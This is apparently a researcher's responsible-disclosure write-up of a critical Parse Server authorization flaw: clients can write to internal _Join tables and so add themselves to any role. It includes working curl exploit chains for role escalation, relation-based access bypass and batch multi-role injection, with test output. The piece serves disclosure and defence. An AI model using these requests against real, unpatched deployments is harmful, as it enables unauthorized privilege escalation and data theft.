TL;DR — Parse Server — 21,000+ GitHub stars, 23,000+ weekly npm downloads, the open-source backend that Facebook built and the community adopted — has a critical vulnerability in how it handles internal relationship tables. Any client with just the REST API key can directly write to _Join tables that store role memberships, injecting themselves into any role. Admin, moderator, billing — all of them. No master key required. No workaround exists. CVSS 10.0. Assigned CVE-2026-30966.

why this matters

Parse Server is not a niche project. It's the backbone of thousands of production applications — mobile apps, web platforms, IoT backends. Originally built at Facebook, open-sourced in 2016, and maintained by a dedicated community ever since. When you find a CVSS 10.0 in something this widely deployed, the blast radius isn't theoretical.

The vulnerability is in the authorization model itself. Not a missing null check. Not a race condition. The internal tables that store "who has which role" are directly writable by any client. The access control system trusts data that an attacker can freely modify. That's not a bug in the traditional sense — it's an architectural assumption that was never validated.

the architecture

Parse Server uses Relation fields to model many-to-many relationships. When you add a user to a role, Parse doesn't store that in the role document itself. It creates a record in an internal table called _Join:users:_Role. Every Relation field in the system works this way — a separate _Join:<field>:<className> table holds the mappings.

These tables are the foundation of Parse Server's authorization model. Class-Level Permissions (CLP) can restrict access based on roles. pointerFields CLP can restrict access based on Relation memberships. All of it ultimately resolves to queries against _Join tables.

Here's the thing: those tables are just regular classes to Parse Server's routing layer. And the class name validation regex explicitly accepts them.

the root cause

In SchemaController.js, the function that decides whether a class name is valid:

const joinClassRegex = /^_Join:[A-Za-z0-9_]+:[A-Za-z0-9_]+/;

function classNameIsValid(className) {
  return (
    systemClasses.indexOf(className) > -1 ||
    joinClassRegex.test(className) ||      // ← _Join: passes validation
    fieldNameIsValid(className, className)
  );
}

The regex matches. The class name is "valid." But _Join classes are not in classesWithMasterOnlyAccess. They have no hardcoded CLP. There is no access control layer between the client and these tables.

That single missing restriction means any authenticated client — or even an unauthenticated one with just the application key — can POST, GET, PUT, and DELETE records in any _Join table. Including the one that stores role memberships.

the join table format

To understand the exploit, you need to know what a _Join record looks like. From DatabaseController.js:

addRelation(key, fromClassName, fromId, toId) {
  const doc = { relatedId: toId, owningId: fromId };
  return this.adapter.upsertOneObject(
    `_Join:${key}:${fromClassName}`, ...
  );
}

For the _Role.users relation: owningId is the role's ID, relatedId is the user's ID. Two fields. That's the entire record that determines whether a user has a role.

An attacker just needs to POST {"relatedId": "attackerId", "owningId": "targetRoleId"} to _Join:users:_Role. One request. No master key.

how role resolution picks up injected records

The injection works because Parse Server's role resolution doesn't distinguish between legitimate and injected _Join records. From Auth.js:

Auth.prototype.getRolesForUser = async function() {
  const restWhere = {
    users: {
      __type: 'Pointer',
      className: '_User',
      objectId: this.user.id
    }
  };
  // Queries _Role → reduceInRelation → owningIds('_Role', 'users', [userId])
  // → queries _Join:users:_Role for {relatedId: userId}
  // → returns owningIds (role IDs)
};

The role resolution queries the same _Join:users:_Role collection where the attacker's injected record lives. After the default 5-second cache TTL expires, the injected role membership is resolved and the attacker gains the role. Five seconds from injection to escalation.

the exploit

I tested and confirmed this on Parse Server v9.5.2-alpha.5. Three attack chains, each escalating in severity.

chain 1: role escalation → full CRUD on protected data

Create an account, inject into the admin role, read and write everything protected by role-based CLP. Four requests:

# Step 1: Create attacker account
curl -s -X POST "http://localhost:1337/parse/users" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"attack123"}'
# Returns: {"objectId":"ATTACKER_ID","sessionToken":"r:..."}

# Step 2: Inject into _Join:users:_Role — no master key needed
curl -s -X POST "http://localhost:1337/parse/classes/_Join:users:_Role" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"relatedId":"ATTACKER_ID","owningId":"ADMIN_ROLE_ID"}'
# Returns: 201 Created

# Step 3: Wait 5 seconds for cache TTL, then fresh login
curl -s -X POST "http://localhost:1337/parse/login" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"attack123"}'
# Returns fresh session token with admin role

# Step 4: Read role-protected data
curl -s "http://localhost:1337/parse/classes/AdminData" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: FRESH_SESSION"
# Returns: 200 {"results":[{"secret":"TOP_SECRET_DATA",...}]}

From there, write and delete operations work identically. The attacker has full CRUD on every class protected by that role's CLP.

Verified output from my test harness:

[A3] _Join injection: 201
[A6] Read (after cache TTL): 200 — SECRET: TOP_SECRET_DATA
[A8] Read (fresh session): 200 — Secret: "TOP_SECRET_DATA"
     *** ROLE ESCALATION VIA _JOIN INJECTION CONFIRMED ***

[16] Write: 200
[17] Value after write: "HACKED_BY_ATTACKER"
[18] Create new record: 201
[19] Delete original: 200
     *** FULL CHAIN: _Join → Role Escalation → Read/Write/Create/Delete ***

chain 2: pointerFields CLP bypass

This isn't limited to roles. Any Relation field used in a pointerFields CLP can be bypassed the same way. If a class has a viewers Relation that controls read access, inject into its _Join table:

# Inject into the viewers relation for a confidential document
curl -s -X POST "http://localhost:1337/parse/classes/_Join:viewers:ConfidentialDoc" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"relatedId":"ATTACKER_ID","owningId":"SECRET_DOC_ID"}'

# Read the document — pointerFields CLP is bypassed
curl -s "http://localhost:1337/parse/classes/ConfidentialDoc" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: ATTACKER_SESSION"
# Returns: 200 — attacker reads confidential documents
[8] Attacker reads after injection (6s): 200 — 1 docs
    Secret: "ALPHA-7749-ZULU"
    *** pointerFields CLP BYPASS CONFIRMED ***

chain 3: multi-role injection via batch

Parse Server supports batch operations. An attacker can inject into every role simultaneously in a single HTTP request:

curl -s -X POST "http://localhost:1337/parse/batch" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"requests":[
    {"method":"POST","path":"/parse/classes/_Join:users:_Role",
     "body":{"relatedId":"ATTACKER_ID","owningId":"ADMIN_ROLE_ID"}},
    {"method":"POST","path":"/parse/classes/_Join:users:_Role",
     "body":{"relatedId":"ATTACKER_ID","owningId":"MOD_ROLE_ID"}},
    {"method":"POST","path":"/parse/classes/_Join:users:_Role",
     "body":{"relatedId":"ATTACKER_ID","owningId":"BILLING_ROLE_ID"}}
  ]}'
[20] Batch multi-role injection: 201, 201
[21] Attacker2 roles: billing, superadmin, moderator
     *** MULTI-ROLE INJECTION CONFIRMED ***

One request. Every role. Full access to everything.

impact

This is about as bad as authorization vulnerabilities get:

AttackImpactRequirements
Role escalationInject into any Parse Role (admin, mod, billing). Gain all associated permissions.REST API key only
Full CRUD on protected dataRead, write, create, delete in all classes protected by role-based CLP.Escalated role
pointerFields CLP bypassForge Relation memberships to bypass Relation-based access control.REST API key only
Multi-role batch injectionEscalate into all roles simultaneously in one HTTP request.REST API key only

The REST API key is typically embedded in client-side applications. It's not a secret. Every user of every app built on Parse Server has this key. That's the "Privileges Required: None" in the CVSS score.

Cache TTL is 5 seconds by default. The escalation takes effect in under 10 seconds. There is no known workaround short of applying the patch.

the fix

The patch blocks all direct client access to _Join: prefixed tables. Create, find, get, update, and delete operations on these tables now require the master key or maintenance key. Legitimate relation operations via AddRelation / RemoveRelation — which go through the parent object's ACL validation — are unaffected.

Patched versions:

If you run Parse Server, update now. Not tomorrow. Now.

the broader pattern

The root cause here is a pattern I keep seeing in backend frameworks: internal data structures exposed through the same API surface as user data, with no access control boundary between them.

Parse Server's _Join tables are implementation details of the Relation system. They should never have been accessible through the REST API at all. But because the class name validation regex accepted them, and because no one added them to the master-key-only list, they sat exposed for years. The regex was technically correct — _Join:users:_Role is a valid class name. The problem is that "valid class name" and "class that clients should access" are two different questions, and only one was being asked.

This generalizes. Anywhere a framework stores authorization state in the same layer it serves user data, you have a potential escalation path. The question is whether there's a hard boundary between them, or just a naming convention.

disclosure timeline

DateEvent
Mar 7, 2026Vulnerability reported to parse-community via GitHub Security Advisory
Mar 8, 2026Maintainer confirmed the vulnerability and began fix
Mar 9, 2026CVE-2026-30966 assigned by GitHub. CVSS 10.0.
Mar 9, 2026Patched versions released (9.5.2-alpha.7, 8.6.20)

Credit to the Parse Server maintainers for the fast turnaround — confirmed, patched, and CVE'd in under 48 hours.

This vulnerability was reported through responsible disclosure to the parse-community security team.